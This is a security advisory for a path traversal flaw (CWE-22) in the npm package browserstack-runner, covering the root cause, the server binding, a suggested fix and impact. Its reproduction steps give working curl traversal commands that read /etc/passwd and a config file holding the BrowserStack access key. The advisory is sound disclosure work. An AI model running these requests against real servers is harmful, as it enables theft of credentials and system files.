PT-2026-46088 · Npm · Browserstack-Runner

Published

2026-06-03

·

Updated

2026-06-03

CVSS v3.1

6.5

Medium

VectorAV:A/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The HTTP server in browserstack-runner serves files from the project directory via the default handler. This handler uses path.join(process.cwd(), uri) to resolve file paths but does not validate that the resulting path stays within the project root. Combined with the server binding on 0.0.0.0 (all interfaces) and the absence of any authentication, this allows an unauthenticated network-adjacent attacker to read arbitrary files from the host filesystem.

Root Cause

lib/server.js, lines 530–534 : default handler:
javascript
' default': function defaultHandler(uri, body, request, response) {
  var filePath = path.join(process.cwd(), uri);
  handleFile(filePath, request, response);
}
uri comes from url.parse(request.url).pathname (line 540), which preserves ../ sequences. path.join resolves them, producing absolute paths outside the project directory. No boundary check is performed before serving the file.
bin/cli.js, line 131 : server binding:
javascript
server.listen(parseInt(config.test server port, 10));
No hostname is specified, so Node.js binds on 0.0.0.0 (all interfaces).
No authentication: The default handler does not call getWorkerUuid() or perform any authentication check.

Steps to Reproduce

Step 1 : Start the server (Terminal 1)

bash
cd browserstack-runner
echo '<html><body>test</body></html>' > poc test.html
echo '{"username":"X","key":"X","test path":" poc test.html","test framework":"qunit","browsers":[]}' > browserstack.json
node bin/runner.js

Step 2 : Read arbitrary files (Terminal 2)

Read /etc/hostname:
bash
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/hostname"
Read /etc/passwd:
bash
curl -s --path-as-is "http://127.0.0.1:8888/../../../etc/passwd"
Read the BrowserStack access key from config:
bash
curl -s "http://127.0.0.1:8888/browserstack.json"
Note: --path-as-is is required because curl normalizes ../ sequences by default. Browsers and HTTP libraries that do not normalize URL paths (or that allow raw path construction) can exploit this without special flags.

Expected Result

  • /etc/hostname → server returns the machine hostname
  • /etc/passwd → server returns the full passwd file
  • browserstack.json → server returns the config including the BrowserStack access key

Impact

  • BrowserStack access key theft : browserstack.json is always in the project root (same directory the server serves from), and contains username and key in cleartext
  • Source code theft : all project files are readable
  • System file disclosure : /etc/passwd, /etc/shadow (if readable), SSH keys, .env files, .npmrc (npm tokens), etc.
  • Chainable with Finding #1 : same server, same exposure window, same network-adjacent attacker

Suggested Fix

  1. Validate the resolved path stays within the project root:
javascript
var filePath = path.resolve(process.cwd(), '.' + uri);
if (!filePath.startsWith(process.cwd() + path.sep)) {
  sendError(response, 'Forbidden', 403);
  return;
}
  1. Bind on 127.0.0.1
  2. Add authentication to the default handler

Fix

Path traversal

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Weakness Enumeration

CWE-22

Related Identifiers

GHSA-8RPW-6CQH-2V9H

Affected Products

Browserstack-Runner